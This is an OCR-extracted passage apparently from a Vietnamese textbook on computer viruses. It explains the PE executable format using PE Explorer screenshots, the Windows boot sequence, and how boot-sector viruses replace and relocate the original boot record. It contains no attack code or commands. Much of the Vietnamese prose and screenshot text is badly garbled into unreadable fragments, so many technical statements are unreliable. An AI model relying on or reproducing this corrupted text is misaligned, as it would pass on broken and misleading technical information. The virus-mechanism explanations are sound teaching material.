
Boot sector

- Cac lénh khdi tao bd nhéy

- Binh vi, tai cac file hé thong

- Trao quyén cho hé diéu hanh
Bang dinh vi tap tin

(FAT 1, FAT 2)

Thw muc goc (Root Entries)

Vung dir lieu
(Data Area)

Hinh2-13: T~ cthgac mQm tr € ¢ khi nhi or
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Boot virus
- Cac lénh khdi tao virus
- Binh vi, tai MTKD goc
- Trao quyén cho MTKD goc
Bang dinh vi tap tin
(FAT 1, FAT 2)

Thu muc goc (Root Entries)

MTKD goc

Vung dir lieu
(Data Area)

Hinh2-14T° c¢ch_ ¢ Loa mQm sau khi nh

2.2 Chli tric chi tiJ1 L' nh dbng PeFile

Nh€ L« th ng ki thromy okx€Hng I rk n
Wi ndows 32bibti JuXmhgpht , hi n nay c-
vitlaL, ¢ tr°n Wi ndows Xp, Wi ndows 7,
ddng ph” bifjn c.a m« L. c n"y th¥€ ng
cfFmi Wunh d@mWwggn¥%p 2ch cho vi ¢ hi Wt
saunay D€, i L©O©y | 7 t°n nsinbviés phandithng c
L " nh d4dng Pefil e.

Cing c, PiEC hE&tpnlgo rterrd3 nh ch 4y tr °n mti
Ch. ¢ entntghW phfn mQm n"y c¢- thW gi Yy

n" ¢, xem v"™ ch nh s a n,i dung tron
Active X Controls, SK,CPL, SYS, MSSTYLES, BPL, DPL..

Htr° | "m vi ¢ ph©n t2ch v,i c8c fil
H., tr° t2nh ntng ki Wm tra t2nh to"n
H., tr° t2nh nktng s a gi 8§ tr° Entry
Ch " nh s a c¢c8c thu,c t2nh c¢c_,a file E

H, tirfi ¢n®n UPX, Upack, NSPack
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11y | Addiess of Entry Peint: (00447380 o | Reallmagetche | 1 | B | |

Figld Name Data Value Description Ertry Point - O
M achine O04DE735h 13
Murnber of Sections 0002k ooecar2ah 14
ON3CCEBSk 15
ON3CCS6ER 16

o | B X I E | O Q| b E2 | ppaFosn 17

Time Date Stamp . 46410DF7h [08/05/
Wer : 00

Dl Marme : firefox. exe

Exported Functions  : 570

Exported Mames : &B70

Paointers to Entry Point : 00157FBEh

Puoirters to Mame : 007158840k

Puainters to Ordinal : 00155188k

004DAFEGh 770nsRectBEOAE @AE InsPoint

- lzar Entry IIIT e
B 8 Menu: 106 004DEO0SH 19 #0msR ect@EUAE EHHHHEE
- - Library description: D escription nat available
i Edit [Vlew] Help

E——— Syntax Details

andar Undecorated C++ Function:
Scientific public: _ thiscall nsRect::nsRect(struct nsPo
Digit grouping I e e
WH| e

0101118 682002 push 0000022Ch =

[1011F1E push s 1 = I_| flrefu_:r;;;eﬂ al
[011F1F il 32,245 ol 53250,
01014F24 850 test aan,ean & =pcom_core.di

86

M011F 745 i a6 1B repad

Hinh2-15: T ng quan ch€©hng tr3n
M, t S t2nh ntng quan tr ng nh€e c¢8§
Del ay I mport Table cho ph®p ng<€ i |
h“m b°n ngo”i m”~ File th, ¢ thi s C
M t t2nh ntng khg8 ti n d,ng h_u 2ch

”

S

hi Wncs8ch th ¢ g i c¢c8c h™m trong fil
tr3nh PE Explorer ExpomitndnQuiyzlr Fu
Syntax Look)
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— Syntax Description Editor for adding custom cormments, —Export Properties display the details

altering walues or creating new library description for the currently selected function
£/ PE Exglorer - CATEST\firefox.exe E=SE
File  Miew  Tools  Help

B W AR (@ENRE AR e Y| e

J | K&

el Tirne D ate Stamp . 4B4100F7h [08/05/2007 23:55:35]
. Wer i A

Eniry Paint | Ord Dl Mame . firefox.exe L\\S
0040B735h 13 | Exported Functions 570
00BCA724h 14 | Exported Mames T
Q0SCCEE9 15 | Pointers to Entry Paint @ O0157FBESh
008CrC9esh 16 | Pointers to Mame . 00153340k
O040AFD3R 17 Fointers to Oidinal o 001559188h

N04DAFEGh | 18
0040EODBH 19 Fi0nsRect@@ROAE @HHHHEZ

Library description: Dezcription not available

Syntax D etails

Undecorated C++ Function:
public: _ thiscall nsBect::nsRect(struct nsPoint const z,struct ns5ize const z)

For Help, press F1

Log Window displays notes, messages, errors, — L Pararmeters, return walues, caling conventions are conveniently
warnings, or status of each task displayed for you in the Syntax Details window

-

Hinh 216: M“n h3nh hiWn th PE e X
T %y  Rbsounce Editor
Ty ch n Resource Editor gi ¥%p ng<€ i
c8c thlng tin vQ bitmaps, |jpeg,
| 4ihing tin m" khlng cfn phrli bi°n d
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—Saye multiple resources at once

— Press the Resource Editor button
to edit the selected resource

— Resource properties display the detais
for the currently selected resource

&/ PE Eixplored - CATESTh\explorer.exe

[ =

Fle  |Wiew | Tools  Help

- e H OEE Bua G e BEE)
o B X I o9 £
MUl -

Bitmap

For Help, press F1

oF Sjg Es %ﬁ]%ﬂ L

Type

Language : LAMG_EMGLISH LS

Flaw Size ; 53308 bytes

© Wista lcon Entry - 256x256

Hinh 217: M“n h3nh

T %y  cSection Headers Viewer
PE Explorerc ho ph®p ng+¥€ |
sections
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&) PE Explorer - CATEST\explorer.exe

File Wi Toolz Help

- W e EE

FRl= B S HE e it
MHame Wirtual Size Wirtual Address
W

W

W

M@

0000400
00000440

01001000
01001040

1}

1 5A4 i 14 B0
i oo

0o
a5 11
00
00
00
00

00
oo

Far Help, Pree= i

0o
0o
00
00
00

F4 - TEXT/HEX

PR A A S| FE® @

Size of Raw Data

Pointer to Raw Data  Charactenstics

BEEu/EA
Ly
S uduu

Painting Directones

Impart Tab

ezource Table
elocation Table

00 4
00 4
00 &
0o &
00
00 1

0o &

02
05
oo
0o
0o
40
a0
a0
a0

1 08 BO 05 01
00 00 oo oo oo
00 00 00 00 00
00 F& 1E 00 OO0
00 00 0o oo
00 00 0o oo
00 00 oo oo
00 00 oo oo
00 oo oo oo
00 oo oo oo
00 00 00 0d
00 00 00 0d
00 00 0o oo
00 00 0o oo
00 00 oo oo
00 oo oo oo
00 oo oo oo

10000 00 00

10000 00 00

10000 00 00
010000 00 00
010000 00 00
01 00 00 00 00

FF FF FF FF
i} ::L

00 oo oo oo
oo on L'IL'I a0

il 1D 4
00 10 04 FF
010 04 FF
00 10 04 FF
00 10 04 FE
04 FF
04 00
04 00
04 00 FF
04 00 FE
04 00

0o 10
00 10
00 10
00 10
0o 10
00 10 04 FE

00 10 04 FF

00 10 04 FE F1 &
00 10 04 FF F1 &
00 10 04 FE OB
00 10 04 FF OB

2 00 10 04 FE 09

R&w Size: 00001200h; Vitual Size: 00002680k
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Yalues reported by The Repair button allows you to automaticaly  The Restore All button dlows you to restore
the Section Header place flags, according to recormmended values all the values modified during editing —
for the section of the given type

) PE Explorer Sertion Editor: <.rsrc>

Header report:

Section Mame Wirtual Size | Virtual Addr | Size of Raw Data | Hdr Pir to Raw Dath Characternistics [ Fret
1sIc O00ATE75h | O1OSEOOOH | DOOATCO0H O00SEE00H O005EE00R 40000040k \_ES ore
Cumrent values:

Section Alignment 00001000k | Apply tepical <Charactenstics: from; |_ Repair ‘ Charactenstics: BO0000Z0H
File Alignment - 00000200k _

Typical <Characteristicss setfings : S0000040n | Section type | CODE M Restare

—image_scn_cnt_code

Section Mame Wirtwal Size | Wirtual Addr Size of Raw Data
L2l O00ATE7S  OOSEOODD  O00&TCO0 ﬂunnaasnn |T

(105E000
M10SEDID 02 00 00 00 5
2 0E 00 00 00 8

10 00 00 00
i on

<5ize of Raw Data> Calct]lazc_:-r

Filealignment  |D0000200

0105E0RD SizelfR awData (00021C00 =
[10SEORN
[10SEQCO - .
[05EQDD Mew Size0fRawData  Yalue™ PairterToR awD ata

LIsEDE) [000A1COO | = [booFDzo0 | - [Do0SEEDD |

*Walue: Next pointer to Raw Data

—image_scn_mem_execute
—image_scn_mem_read

DE]EJUI_IUI_IUI_II_IUI_IIJI_IIJI_III_IIJI_IIJI_IIJI_II_IIJI_IEIDDDDD

[ 0K H Cancel |

30 to origingl Pointer L File image dump = The Calculator helps you calculate Section’s characteristics -
to Raw Data bronwser the Size of Raw Data value wiEner

Hinh2-19: Hi WnTH®ny tin Section Editor
T2 nh Disassagnbler

PE Explorer Disassembler| ~ m t tile PEchQL@anp
ngu n Assembly
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iew Disassembly Statistics
Copy selected text from
the listing to the clipboard
) PE Explorer Disgssembler - <CATEST\explorer.exe lﬂ@l_s:—hj
Fil= Edt  Sedch  Wiew Mavigate Help

U| Hl -Jl a0 %tr* %tr* I§ir~ Eifr* IJFSl |:|/- "J] @'Eh' L= @@| |:D| o
01011F19 3 ; o
01011F1E 50 o
01013F1F
01011F24
010

Display selected addresses from the
{disassembly listitng in one of 4 views

This button swaps one of 4 views
with the main window (and back again)

Problemn and Messages List
cted OPCODE I ¥

010
010

[ebp-04h] , 00000001k
d11!GetHoduleHandled]

. d111GetProchd Name List
LOMHAFS3:
push =

Unprocessed data | Stings | Wiew 1 | Wiew 2 | View 3 | View 4

1
anp*, 0000k
HithHindou® ] 0000k
ratefrocess*, 0000k
obl ey ®, 0000k

33004 EP: MO11F26h Ready ... 00:00:00 20:26:50 20.12.2008

The status line displays the current position of the cursor, |
the address corresponding to the cursor position, the current status, the time spent
by the last operation, the current time and date, and the progress indicator for writing the listing to a file.

Hinh220: HinWch_ ¢ ntng PE Explorer D
T2 nh Dependgncy Scanner
Dependency Scanneh i Wu t h' to"n b c8c file
khi th, ¢ thi
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Load selected module to PE Explorer provides

a means to examine a particular linked module

— Faor each module found, it lists the full
path to the file and the wersion information

$) PE Explorer Dependency Scanner - CATEST\firefox.exe

=RREA X

38 wpoom_compat.di
- comdlg3z. di

- Bl shell3z.di

-5 ole32.dI

-3 oleaut32.di

- B
+ﬂ winzsposl dry
-0 kemel32.d
-0l user32 di
- gdizzdi
-0 advapiaz.di
+ﬂ g dll
- pled.di

- pldsa dl

[7] Always Fescan

Fil= Help
V| 8| Wl e
—D firefox. exe O ;
. - Path: C:\windowshsystem32vwersion.dll
B j:3250.dI
- B wpeom_core.dl Wersion Info
B reprd.di Info: VS_VERSION INFO -
o B smime3.dil Signature: FEEF04BDh
----- ﬂ g3l3.dll Struc Version: 1.0
o ﬂ nizsd.dll File Version: 6.0.6001.18000

Product Wersicn: 6.0

File Flags Mask: 0.63

File Flags: L
File 0Q5: NT (WINDOWS3Z2) 3
File Type: DLL

File SubTIype: UNEMOWN

File Date: 00:00:00 00/700/0000

Struc has Child{ren). Size: 876 bytes.

Child Type:
Language/Code Page:
Companylame :
FileDescription:
FileVersicon:
Internallame:

4

.6001.18000

StringFileInfo

103371200

Microsoft Corporation

Version Checking and File Installation Li

6.0.6001.18000 (longhorn rtm.080118-1840)

version 7
m 2

-

B - Import (module found), B - Import (module not found/open file errar).
Hinh2-21: Hi Wmhnth'g Dependency
Tr°n L Oy m t s t2nh ntmg abh

t [ k:
2.2.1 n’
PE vi] t

e |

oader C.

n .

ddng

t Btord adl e
exe, Object code,lldt r ° n  h’

nghoa

c blu

. Wi ndows ¢ -
nh dUng m§ty tLr@& Wn pd. a
(Common Object File Formath i
nh€ sau:

exe
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2.2.2 Gl trac PE file
Cblu tr¥%c chung c¢c,a 1 PE file th<€ ng
(code) v° 1 cho phfn d. I|i u (dat a

tr°n nQn tIng Windows NT c- 9 sect
n h $Bext, .bss .rdata, .data, .rsrc, .edata .idata, .pdata va.debug

MS-DOS MZ HEADER l

MS-DOS REAL-MODE
STUB PROGRAM

PE FILE SIGNATURE
PE\0'0

PE FILE HEADER

PE OPTIONAL HEADER

SECTION HEADERS

1src secion header

SECTIONS

IS1C section

Hinh2-222Cblu tr %c PE fil e
2.2.21.Dos header
V¥ng n"y chiJjm 64 bytes Lfu ti°n
guan tr ng |7 e _magic(0Ox5a4d4b) v~ e
gi 8 ttrromgumt bytes n"y ch_ a offset |
2.2.22 PE header

nfu ti°n windows | oader s& L ¢ ° |
nh3m xem file ¢c- h> p | hay khtng. T
tr e _flanew, windowshfimadegt sl W,
header.
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PE g m 3 th"nh phfn L€ ¢ L nh nghoa
fileheader, optionalheader

Signature |7 m t DWORD 1l u®'n c- gi 8
e_flanew.

Fileheader g m 20t tblyntge st itn JpQ thtkol
nh_ ng LHc t2nh c¢c_,a file

Optional header g ' m 224 bytes tillp
I logic b°n trong c_,a PE file.

File header

Nh._ ng thlng tin quan tr ng b°en t
Characteristics.

Numberofseton t hay L i phfn n"y nJju nhe€e
Sectiontrong file PE( caan«  lgu@an t ©m LJn tr € ng
ttng tr€ ng th°m 1 sau L- ch ™ n th°i
khaib® t h°m nh€e vdy mfde)l L, ¢ L« chiJm L
Characteristch ao g m c8c ¢ x8c L  nh nh_t
|l “m vi ¢ |I° mt file th ¢ thi(execu
Ta ¢c- thW x8c L 'crBlc aw8mgv c_t rmzhen” yHel
Lor d PEE

Optionalheader
C8c th”"nh phfn quan ter' ng b°n trong
AddressofEntryPoint
RVA( L a ch”™ [To t€hng L i) ¢, a c
ths - | " ¢c©u | nh Lfu ti°n c¢c,a ch
h” nh. NJJju m, t file nguy°n thW ths3 s
ch€hng tr3nktné8m tteryg bay code(Li
OEP: Original EntryPoint).n" i v, i
section .text v o sau L- cho tr€ ng
nh. ng tr€ ng quan tr ng v3 tr<€ ng n
nhi m virus LW tr, t o, Li Wm th, ¢ thi

| mageBase L a ch” nUp L€ ¢ €u ti
s€ ¢ gdng &nh xY v o v¥%ng nh, T[o c
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S

| " nh kh' i LFfu tr°n b, nh, [koh "¢ - L~
Lfu)+i mage.

SectionAligment khlng gian c_, a s:¢
thi L€ ¢ &nh x4 I °n b, nh, T[o ths3
th€ ng nh, nhblt |~ 0x1000.

Fil eAl 1 gment L r.ng c¢c,a section |

nay( d, Fil eAligmentsecti @gingttiv]p k2
ths t49i v tr2 tr+€ c¢c+0x200 hay m t
Sectionofl mage b33ng size c_, a t blt
c.a c8§c section li°n kJt trong tr+€
Si zeof header k2ch th€ ¢ c_,a tblt ¢
DataDirectory m t mifng 16 | MAGE _
phfn ¢- |i°n quan L/Jn c¢cblu tr¥%c d_ |
table.
Ta ¢c+- thW quan s8t c¢c8c th"nh phfr

P T ST,
Basic Information
EntryPoint: | 00001000 SubSystem: 0002
ImageBase: | 00400000 MumberOfsections: (0003
Size0flmage: | 00004000 TimeDateStamp: | 4A025EF5
BaseOfCode:; | 00001000 SizeOfHeaders: | 00000400
BaseOfData: |00002000 Characteristics: |010F
SectionAlignment: | 00001000 Checksum: | 00007434
FileAlignment: | 00000200 SizeOfOptionalHeader: |00ED
Magic: |010B NumOfRvaAndSizes: | 00000010

Hinh2-23:Quan s8t v  tr2 c¢c8c th”nh

Chi/Jm 128 bytes cu i <c¢c%ng trong Op
th"nh phfn cu"i c¢c¥%ng c¢c,a PE header
Cblu tr%c trong data directory g m
tintw@ w”™ k2ch th<€e ¢ | " virtual addr
Virtual address |~ m t L a ch" T[o t ¢

| size bao g m k2ch th€ ¢ theo byte
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2.2.23 Section table

L™ th"nh phfn tiJJp theo sau PE hea
tr%c | MAGE_SECTI ON_HEADER, m, i phor
m t section trong PE file( vz d, n h
C8c th"nh phfn quan tr ng trong sec
Namet °n ch” m t nh«n hoHc c¢c- thwW tr’
Virtual si ze( DWORD) k2ch the ¢ c,6 a
nh, .

Virtual address RVA ¢, a section, tr
d, ng gi 8§ tr° trong tr<€ ng h° p khi n
Sizeofrawda a k2 ch the€, ¢ c¢c_, a section tror
Pointertorawdata( raw offset) th"nl

c.a file cho t phfn sectionds dat
khing L€ ¢ ch_a trong fi laeload” s€ kh
Characteristics bao g m c8c ¢ e X
uninitialized.

[ Section Table ] =

M arne WO ffzet WSize R Offzet RSize Flags

.rdata oaoozoo0 oaoooosz Qaooos00 oaooozo0 40000040

.data Q0002000 Q0000034 Qo00oa00 Q000o0z00 Coooo04o

Hinh 2-24: Céac gia frtrong dng section table
2.2.24 PE file section

L™ nh_ng section ch_a n, i dung <c¢ch?
resources twwt ngph tnn kh8c c¢c_,a file t
header v~ m, t rawdata( d, i u che
khutn th ¢, n- che€ea L€ ¢ sdp x/p,

bi Wu di_ _n d€ i dlng d, t3m kiaJm). 1

trong section table.
M, t che€ehng t rcéthuntién Wimdgws:d, ng L H
Executable code section |~ c¢c8c L
v’ o mt section Lhn | T .text hoHc C(
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d.ng m t h th ng qulo-IM™m b, sabhti §n
| . n hhn d, d°"ng hhn trong Vvi ¢ quflr
n“ygklnlLi Wm entry point v~° bl[ng jum

Data section ch a section =:rdata
only) v2 d., nhté tcnggc tcihnuétibjt hcyn gc 8§ c
bi/Jn t L, ng m’" ch” xublt hi n trong

Resources section section .rsrc
modul e, 16 bytes Lfu ti°n g m m t

nh€eng d cl, a section n" vy trés&ircetree blu t I
v L€ ¢ quanceeddar. b3ung resour

Export data section section .eda
ch€ehng tr3nh _ ng d, ng hoHc file dlIll
c8c thlngctich ve,_ B nh_ng h™m export

| mport data section .idata c¢ch_ a |
re ¢ import directory v~ blng impor
2.2.25 Export section
Section n"y c¢- |i°n quan LJjn c8c f
thbg b i 1 DIl theo 2 c¢c8ch A by name
V' tr2z bdt LFfu trong bl[ng Data Dire
Cblu tr¥%c export L€ c¢c g i |7 | MAGE
trong cblu tr%c n"y ¢c- c¢c8c th" nh phf
Name i nternadle name ¢, a mod
nBase bdt Lfu I bly s th t| hay s’
| bly nh_ ng i n dokfuanctionravay)y addr es s
Number Of Funtion t ng s~ ¢8c h™m m"
Number Of Name s |1 € ng c8c symbol s
nayk htng phli |~ s 1€ ng c¢,a tblt cTl
| bly L€ ¢ con s n"y ta cfn phli ki W
Adressof Funtion m t RVA tr, t i m[
trong module Export Address Table( EAT).
Adressof Name, mt ti RMIAndg c¢c_, a c8c RVA
| €u trong modul e Export Name Tabel (
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Adressof NameOrdinals m t RVA tr, t
ordinals ¢, a c8c named fuction Expo

Trong c¢cblu tr¥%c | MAGE_EXPORJ _DI RE
v m t blfng nh_ ng chu, i k2 t ASCI |
m t mlfng ¢, a ¢c8c <con tr, h™m m” C
function. Hai mIfng (ENT v" EOT) <cht
ttng dfn d a tr°n t°n cnh cpboOh”  m- L
r€e ¢ th ¢ hi ' n v" s€&€ L+€a kJt qul |~
trong m t mlfng kh8c. S th_  t., <c¢ch’

IMAGE_EXFPORT
_DIRCTORY

Crther Figlds

——>"F00 DLL"

Export Address Table [RVAS)

Y ootz | 0xto01s | andorzss | onduos

AddressOf-unchons Narne 1 Name 2 “Bar

AddressOfMameOrdinal H -- Export Ordinal
Tahle

Hinh2-25Cblu tr Y%c Export Tabl e
C8§c h" m L€ ¢ export b i 1 dlIl the
Exporting by Ordinal OnlyNu mber Of Funti on phT[i

b un g vV, o Number Of Name, tuy nhi °n
Number Of Name | 4Yi 2t hhn Number Of Fun
thing qua s~ th_ t. ., n- khlng c¢- d

EOT (n- khing cm” tkKm)yng nd: ng®° "~ tmh?3
thing qua s~ th_ t

Export Forwarding c8c h™m L€ ¢ e
ban Lfu m” th,c tJ] c8c h"m n"y | 4j
Li Qu h” nh Wi nNT, Wi nXPéeh™m trong k
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fowardedt . h“m Rtl All ocHeap L€ ¢ export
clng ch a c¢c&8c APl t€hng t8&§c tr ¢ t

re ¢ th ¢ hi " n t4i th> i LiWm |i?®°n
trong .def file.
Forwarding | ° ko thydcdtg ni"wW Mi€ar orsao f

APl thtng d,ng LW che dblu s, khsgc I
khac.

2.2.26 Import Section

1.RVA

M t L a ch”™ RVA L€ ¢ s d,ng LW mt
nh€ khtngnh€lmagg&dBals'e. fiRaoffdet khi ng ph
nW t2nh L€ ¢ file offset, Lfu ti®°n
bysng ¢c'ng th_c¢c: Virtual of fset+ wvir
File offset= RVA V.offset+ R.offset

2. Import section

| mport section (.idadla)c ®@oh gm ml
i mported b i file th, c thi t_ c8c
section nay la ImportDirectory va ImportAddressTable.

| mpor t Directory | - m?t t m[ n
| MAGE_ | MPORT_DESCRIPTION. M i cblu t
thitng Itli nmvQPHE file c¢c,a ch¥%Jng ta in

Export Directory, ta c-ngtabhhwuanhg8am t h b
Data Directory(signature+80).

Trong c¢cblu tr¥%c L- th” nh phfn Ori
m t RVA tr, t i rmMAGELMTHUNKc DABIW t(r
I clng | RVA tr, t.i h™ m L€ ¢ i mp
I m t tr<€).ng quan tr ng

Vo th"nh phfn quan tr ng til/llp ¢t}

RVA tr, t, cblu tr¥%c c¢c,a | MAGE_THU]I
mifng LfM[ng °m)y b thay L i khi | oa
c8§c L a ch”™ thdt ¢, a c¢c8c function L
Trong file tr°n L oa | MAGE THUNK D/
| mported function h o Hic | m, t RV
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| MAGE | MPORT_BY_NAME. M t tkhebBl&«t iy

tr, tUYi FristThunk L€ ¢ vifgt L~ 1I°
function, vi ¢ n"y tr° th” nh | mport

Trong m, i c¢cblu tr¥%c c_,a | MAGE | MP(
th"nh phfn ch?2nh:

Hint ch_ a ch™ m c( inaféeDlcab°n tr
h“m hi n c¢- trong L-

Namel bao g m t°n <c¢.,a imported
terminated ASCI | string. K2ch t he c
byte, nh€eng tr°n th ¢ tJ tr€ ng n"y

Nh. ng th nhrpmfgn ndhbben | © t°n i mp
mifng cblu tr%c | MAGE _THUNK_DATA. \Y/ I
vV, i m t Il mpor t functi on t . DI |

Original FristThunk v™ FristThunk <c¢h
m t Nul | DWORD.

Overwritten by PE loader

+|ma;e_ IMAGE_IMPORT BY MAME  Image_ 4 Adress of
Thunk_ Thurk_ Gethless-
Data “ Data age
lTTgE_ GetMeszage Image_ Adress of
Nk, Th Load|
b — 7 e .
IMAGE_IMPORT DESCRIPTOR | I™*¢°- Loadicon Image_ Adress o
Thusk_ " Thunk,_ Translate:
OriginalFirstThunk ~ —1 P4 7 Data | Message
Imaje_ TranslateMessage Image_ Adrass of
Thunk_ Thunk_ Iz ndo-
it Ly o — % Data W
IMPORT IMFORT
FarwarderChain NAME TABLE ISWindowe ADDRESS
TABLE
Name1 "JSER32.0LL"
FirstThunk
Additional

IMAGE_IMFORT_DESCRIPTORs
for other DLLs, as necessary

Hinh2-26:Cblu tr %c | mport Tabl e
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Ngo" i c¢c8c cing c¢c, xem L€ ¢ cblu tr Y%c
phXm nh, LW L ¢ hiWu PE, load 1 fil
bIng I mport table tr°n ch€ehng tr?3n

r - ]
CharFile | C:\Uzershlinhh\Dezkioptkeygen.exe |
|

Filz Header I Optional Header I Directaries I Section Header  Import T able I

DLLname | M amel | Firt thiank. | OriginalFirstThunk | For
Lz ! dll 000020k 4
kermel32 di 00002248 onaozoos oooozoce Qe
comctl 32 dil oooozzcc onaozooo oooozoco Qe |
A | 1] | 3
' |
T hunk R |_Thunkialue |_Hint |_ApiM ame -
Oo0oz20E4 0aooz14AE ooooot a4 Loadlcond,
ooooz0ES oaooz21eA Qoaootan MeszageBond,
ooooz20EC goooz1ce gooooiez OpenClipboard A
Qoooz0Fa goooz1he aooooiDD SendDIgltermbdezzag =
O00020F4 0aooz1a0 Qnoootea LoadCursors,
ooooz0Fs 0aooz21FE Qoaoo1F SetClipboardD ata
oooozoFc oaoozz12 onooo1F2 SetCurszar
Q0002100 0aooz21E onoooiFe SetDlgltemT extd,
00002104 0aooz230 goaooz1po S efwfindowlLongs,
ooooz10s 0aooz18E QnoooaF4 GetDlgltermnT extd,
ooooz10c oaooz1e0 Qnoooarz2 GetDlgltem N
I:I'lll'll'i"'.\‘l hin} I'II'II'II'I"'J:HTH [nlnlnininlnr N n | CoeAMi-lam— -

Hinh2-27:Quan s8t | mport Phfiled e v, i C

Sinh vi®°n c¢- th® tham khd o th°m c8§
trang nh_ sau

http://msdn.microsoft.com/en

us/library/windows/hardware/gg463119.aspx
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2.3 Qg chyga mwc L
Nh€ L « ‘rcphéat titngdy caingfhhn€t h3 virusWcl ng g
ng vy cigncg tMhéi khdng co 18l virus nao la hoartoan ging
nhau. Tuy nhién céc virus luén c§ s b Wih ichung nkl "nlh Wdla
v o L itaod gWehan bit n6. Cé nhiu cach phan 1 khac nhau, phan
loY t ih eng@aly nhim thi virus gm hai Id:

- B-virus: Virus ch tbh cong Ién Master Boot hay Boot Sector.

- F-virus: Virus ch tbh cong Ién cac file Khthi.
MHodiowy, c8&8ch phon c Hilachinhxgc. Ngdlnvhck ht ng
cac virus va th cong |én Master Boot (Boot Sector)avtsh cong €n file
Kh[ thi.

B-virus
Phan |81 B-virus.

nfu ti°n h«y xem QS ttrr3¥3mh Khnh ®R[ g
ra nh€ sau L i v.,i h  LiQu h”"nh Windo
B€ ¢ 1: Power : Bdt m8y t2nh | °n
B€ ¢ 2: Bl OS: BI OS ki Wm tr @nh®@T t hi JJt
B€ ¢ 3 : MBREhW&y MasteBo ot Record s€&€ ki Wm tr
hoHc c¢c8c partition trUYng t h§i active.
ti/Jp t_,c, ¢,n nJju khtng th3% chuyWn LJ
B€, ¢ 4: ActivBo®ParvadeoncB&: ph©n v ¥%ng
hodt v nhdn quyQn Li Qu khi Wn

H

Be€ ¢ 5 MS WI NDOWS: n i Vo, h Li Qu h
Boot Loader) trong h’ th ng pho©n v ¥nc
[SYSPART\ntldr]

B€ ¢ 6: NTLDORtL imifoi lte ol C , nJju
h"nh th3 s€ ¢+ nhiQu hiWn th trong
h"nh ng+€ i d&%ngboatihf n. [ SYSPART:

B€ ¢ 7 : File NTDETECT t. h° th  ng ph

n"y s€ c&cm ckhghhmg tr3nh.
B€ ¢ 8: tiJJp theo s&€ | oad file kerne
(Har dwar e Abstraction Layer) t .
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[%/systemroot¥system3ihtoskrnl.exe]
[Yosystemrootdsystem3konfig\system]
Be€ ¢ 9: Sau L- tiJ]]Jp thepnp vSYSOEM B v

L'i Qu khiWn kh° i L, ng clng L€ ¢ t[i |I°
[Yosystemroot¥system3ktonfigisystem]

B€ ¢ 10: Sau khi boot | oader (NTLOADE
(NTOSKRNL)

B€ ¢ 11: Kernel s€ t[i |l ogo hi'wng th’
nh, hhn.

B€ ¢ 12: H th  ng s€ |l oad SMSS (Sessi
L eu ti°n |7 11 v° chuyWn Li Qu khi Wn
[YosystemrootHdsystem3smss.exe]

B€ ¢ 13: SMSS kh i tYo pagefile v~™ <c8§

B€ ¢ 14: Kh wdkertie| 3abi 1a Win32kdsgs
[Yosystemroot¥system3dWVin32k.sy$

B€ ¢ 15: Kh i tYo CSRSS (Client Serve
la 13

[YosystemrootH¥system3kesrss.exe]

B€ ¢ 16: Sau khi kh i L, ng W NLOGON v
k h i ckérnwinlogon.exe. [%systemrootéystem3&wvinlogon.exe]

Be€, c 17: WI NLOGON sau L - s€ kh' i L

Aut hori zation Subsystem Service ) Vv, i
[YosystemrootH¥system3¥sass.exe]

B€ ¢ 18: W NLOGON sau L - user &8entfi§ation MS GI N
aNd Authentication) , c¢c8i n"y s& hi Wn
[YosystemrootHdsystem3¥msgina.dll]

B€ ¢ 19: Tif]lp theo h' th  ng s€& t[i ti
L., ng €©u ti°n |7

[Yosystemrootdsystem3iservices.exe]

B€ ¢ 20g€Khid¥%ng Litng nhdp v o , SERVI
khiWn v t[i to"n b, c¢c8c d ch v, c¥fn
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SYSPART: C€C hoHc C driver (ph©n v¥ng h
BOOTPART = ph©n v¥%ng kh' i L. 6 ng
%systemroot% = BOOTPARWINDOWS

Default Priority (Windows ) ¥Normal) 8 [l-15]

To"n b, c¢c8c ti/JJn tr3nh L€ ¢ kh' i L ng
do user SYSTEM | "m ch, s° h. u til/n tr

2.3.1 Quatrinh kh i  nig may tinh

Nh€ ch¥%Wnfg ,t saall« qui8 t rfd nthi POSITk° L el ar
C Lc® c vao ving nhtd 0: 7C00, va quéh Qi khidi  ’Lc®ao cho
L &h ma trong sector ki , ng nay. Bvirus hdt | nij bRag cach thay th
I Bh ma chof trong sector K ny nay Ba g Uiméd ca nWehiih
quyr Qi khiwi , s au kHbongling ~ at'sedtor khi , ng chuf
L &viusdiigi " L©u L - v~ oll@quyQC a@khiwd" cthdo L o
ma chuq nay. Vic ciigi sectorkhi ngtdvtr2 n~" o8thuccn L oa
lod L oa ViguykcSad hglogvirus.Div.i Lpg, ct hagng t h <
n- “d¢dfigi " L©Ou L- trong Sidelt@dckna@pOS nder
chs dng s eettétomcholhg Par ti t i @nv.trichigi°se L ¢ a
phcth hhnichd¥Qookintnghb L~ thE mhghgt i n.
sau L ©ygcatwus apeng:
- S dngsector cui Root Direamgorgs dng n- th
- S dngcacsectorcii c¥%ng tr°n ‘Lwgtingecho khi |
file, DOS timvang frngt nh Whln cho n°n “wgdng n"y
I ‘& s d ng.
- Ghivaovang frng t r ° n Hldreng Bnf BAT hviingl nay la
ving b h n g WODS khong s d, ng dgp phat na. Ccah lam nay an
to"n hhn c¢c8c c¢c8ch I "m tr°n LOYy.
- Format thém track va ghi vao trackay °Lc Bormat thém.

Tuythuc v lonclh Y mavinsmaBv i r Uechid tiénh hai k:
2.3.1.1 SBvirus

Ch€hn g _aSB¥iroshch ahim  I° Yantgector khi | nky, cac tac v
¢ a SBvirus khéng nfiy v ©  fi€hlhlgnHLg hay S cac virus I&l
n"y ngtigbvacoEch lacacvirusdotmo g . o"€n xud'.
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2.3.1.2 DBvirus

Paylanhnglod vi r Ulsmagandllm hhn 512ngti)t e (t h
Vithim”~ c¢c h€hng {achiamtnhhaigus L €

- Phn f vi r e s :cFulroBglsector Khi | nlg Wehi/m quyQn
I @ hiwd khi quyr QI khid  “lc®ao cho sector ki |, niy nay.
Nhi m vy duy ntdl ¢ a pifn FWla: i ti/p pHFn than ca virus vao
ving nh vatrao qu@ Qi khiwd cho pin  t h © nnhilin-y. L' He
giln  n ky@énvplin fll'ca Vv i r ogstl ngdh, @ cang nen
cang tt vi cang ngh thi s khac bit gi a sector khi _ nfy chu§ va
sector khi . nlg 'L'nkj mhvirus cang it, gm kh[ n £ n" qghing .

- PHFn than virus: LA pfn ¢ h €hhncginhtca vi rus. cSau k-
phfn fW.ti vao vung nh va trao qugh, pHn than nay 8ti/h hanh
cac tac y ¢ a minh, sau khi £h hanh xong mi ~ cl'sector khi  ng
chuq vao ving nh va trao qu@ ¢ h oWwmay-tinhllam vic m t
c8§ch bhAghoh®® Pradgs3 x

2.3.2M ts k: thua  ding &B-virus

